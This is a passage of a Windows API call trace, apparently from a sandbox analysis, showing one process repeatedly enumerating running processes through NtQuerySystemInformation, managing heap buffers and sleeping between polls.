Flags=0x8, Size=0x1a) returned 0x6d8250 [0129.852] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8250) returned 1 [0129.852] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6d6cc8 [0129.852] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d6cc8) returned 1 [0129.852] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ddc30) returned 1 [0129.852] Sleep (dwMilliseconds=0x64) [0130.068] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6ec8a8 [0130.068] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6ec8a8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6ec8a8, ResultLength=0x0) returned 0xc0000004 [0130.068] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ec8a8, Size=0x2048) returned 0x6ec8a8 [0130.068] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6ec8a8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x6ec8a8, ResultLength=0x0) returned 0xc0000004 [0130.068] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ec8a8, Size=0x306c) returned 0x6ec8a8 [0130.068] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6ec8a8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x6ec8a8, ResultLength=0x0) returned 0xc0000004 [0130.068] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ec8a8, Size=0x4090) returned 0x6ec8a8 [0130.068] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6ec8a8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6ec8a8, ResultLength=0x0) returned 0xc0000004 [0130.068] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ec8a8, Size=0x50b4) returned 0x6ec8a8 [0130.069] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6ec8a8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6ec8a8, ResultLength=0x0) returned 0xc0000004 [0130.069] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ec8a8, Size=0x60d8) returned 0x6f1968 [0130.070] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f1968, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f1968, ResultLength=0x0) returned 0xc0000004 [0130.070] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f1968, Size=0x70fc) returned 0x6f1968 [0130.070] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f1968, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f1968, ResultLength=0x0) returned 0xc0000004 [0130.070] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f1968, Size=0x8120) returned 0x6f8a70 [0130.071] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f8a70, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x6f8a70, ResultLength=0x0) returned 0xc0000004 [0130.071] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f8a70, Size=0x9144) returned 0x6f8a70 [0130.071] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f8a70, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x6f8a70, ResultLength=0x0) returned 0x0 [0130.071] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8968 [0130.071] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8968) returned 1 [0130.071] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xe) returned 0x6ea560 [0130.072] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea560) returned 1 [0130.072] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e69b0 [0130.072] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.072] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.072] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.072] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.072] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.072] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.072] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.072] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e6190 [0130.072] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6190) returned 1 [0130.072] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e6190 [0130.072] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6190) returned 1 [0130.072] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.072] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.072] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea560 [0130.072] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea560) returned 1 [0130.072] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.072] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.072] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.073] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.073] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.073] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.073] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.073] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.073] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.073] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.073] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.073] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.073] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.073] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.073] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e6190 [0130.073] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6190) returned 1 [0130.073] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e6190 [0130.073] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6190) returned 1 [0130.073] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea560 [0130.073] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea560) returned 1 [0130.073] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.073] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.073] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.073] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.073] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6e6190 [0130.074] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6190) returned 1 [0130.074] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e6190 [0130.074] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6190) returned 1 [0130.074] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.074] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.074] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.074] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.074] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e6190 [0130.074] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6190) returned 1 [0130.074] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e6190 [0130.074] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6190) returned 1 [0130.074] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e6190 [0130.074] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6190) returned 1 [0130.074] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.074] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.074] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e6190 [0130.074] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6190) returned 1 [0130.074] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.074] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.074] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f8a70) returned 1 [0130.075] Sleep (dwMilliseconds=0x64) [0130.210] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fa7a8 [0130.210] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fa7a8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fa7a8, ResultLength=0x0) returned 0xc0000004 [0130.210] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fa7a8, Size=0x2048) returned 0x6fa7a8 [0130.210] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fa7a8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x6fa7a8, ResultLength=0x0) returned 0xc0000004 [0130.210] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fa7a8, Size=0x306c) returned 0x6fa7a8 [0130.210] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fa7a8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x6fa7a8, ResultLength=0x0) returned 0xc0000004 [0130.211] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fa7a8, Size=0x4090) returned 0x6fa7a8 [0130.211] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fa7a8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6fa7a8, ResultLength=0x0) returned 0xc0000004 [0130.211] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fa7a8, Size=0x50b4) returned 0x6fa7a8 [0130.211] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fa7a8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6fa7a8, ResultLength=0x0) returned 0xc0000004 [0130.211] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fa7a8, Size=0x60d8) returned 0x6fa7a8 [0130.211] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fa7a8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6fa7a8, ResultLength=0x0) returned 0xc0000004 [0130.211] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fa7a8, Size=0x70fc) returned 0x6fa7a8 [0130.211] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fa7a8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6fa7a8, ResultLength=0x0) returned 0xc0000004 [0130.211] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fa7a8, Size=0x8120) returned 0x7018b0 [0130.212] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7018b0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x7018b0, ResultLength=0x0) returned 0xc0000004 [0130.212] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7018b0, Size=0x9144) returned 0x7018b0 [0130.212] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7018b0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x7018b0, ResultLength=0x0) returned 0x0 [0130.212] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8978 [0130.212] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8978) returned 1 [0130.212] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xe) returned 0x6ea590 [0130.212] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea590) returned 1 [0130.212] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e69b0 [0130.212] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.212] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.213] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.213] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.213] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.213] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.213] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.213] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e63e8 [0130.213] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e63e8) returned 1 [0130.213] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e63e8 [0130.213] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e63e8) returned 1 [0130.213] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.213] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.213] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea590 [0130.213] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea590) returned 1 [0130.213] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.213] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.213] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.213] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.213] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.213] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.213] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.213] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.213] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.213] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.213] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.213] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.214] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.214] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.214] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e63e8 [0130.214] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e63e8) returned 1 [0130.214] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e63e8 [0130.214] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e63e8) returned 1 [0130.214] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea590 [0130.214] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea590) returned 1 [0130.214] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.214] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.214] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.214] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.214] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6e63e8 [0130.214] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e63e8) returned 1 [0130.214] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e63e8 [0130.214] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e63e8) returned 1 [0130.214] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.214] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.214] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.214] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.214] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e63e8 [0130.215] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e63e8) returned 1 [0130.215] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e63e8 [0130.215] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e63e8) returned 1 [0130.215] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e63e8 [0130.215] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e63e8) returned 1 [0130.215] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.215] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.215] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e63e8 [0130.215] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e63e8) returned 1 [0130.215] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.215] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.215] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x7018b0) returned 1 [0130.215] Sleep (dwMilliseconds=0x64) [0130.358] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6ef880 [0130.358] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6ef880, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6ef880, ResultLength=0x0) returned 0xc0000004 [0130.359] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ef880, Size=0x2048) returned 0x6f64b0 [0130.359] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0130.359] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x306c) returned 0x6f64b0 [0130.359] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0130.359] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x4090) returned 0x6fd9d0 [0130.360] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6fd9d0, ResultLength=0x0) returned 0xc0000004 [0130.361] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9d0, Size=0x50b4) returned 0x6fd9d0 [0130.361] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6fd9d0, ResultLength=0x0) returned 0xc0000004 [0130.361] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9d0, Size=0x60d8) returned 0x6fd9d0 [0130.361] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6fd9d0, ResultLength=0x0) returned 0xc0000004 [0130.361] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9d0, Size=0x70fc) returned 0x6fd9d0 [0130.361] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6fd9d0, ResultLength=0x0) returned 0xc0000004 [0130.361] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9d0, Size=0x8120) returned 0x6fd9d0 [0130.362] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x6fd9d0, ResultLength=0x0) returned 0xc0000004 [0130.362] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9d0, Size=0x9144) returned 0x6fd9d0 [0130.362] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x6fd9d0, ResultLength=0x0) returned 0x0 [0130.362] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8978 [0130.362] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8978) returned 1 [0130.362] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xe) returned 0x6ea5a8 [0130.362] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea5a8) returned 1 [0130.362] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e69b0 [0130.363] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.363] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.363] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.363] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.363] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.363] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.363] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.363] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0130.363] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0130.363] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0130.363] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0130.363] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.363] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.363] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea5a8 [0130.363] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea5a8) returned 1 [0130.363] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.363] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.363] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.364] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.364] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.364] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.364] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.364] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.364] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.364] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.364] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.364] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.364] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.364] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.364] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0130.364] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0130.364] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0130.364] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0130.364] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea5a8 [0130.364] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea5a8) returned 1 [0130.365] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.365] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.365] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.365] RtlFreeHeap 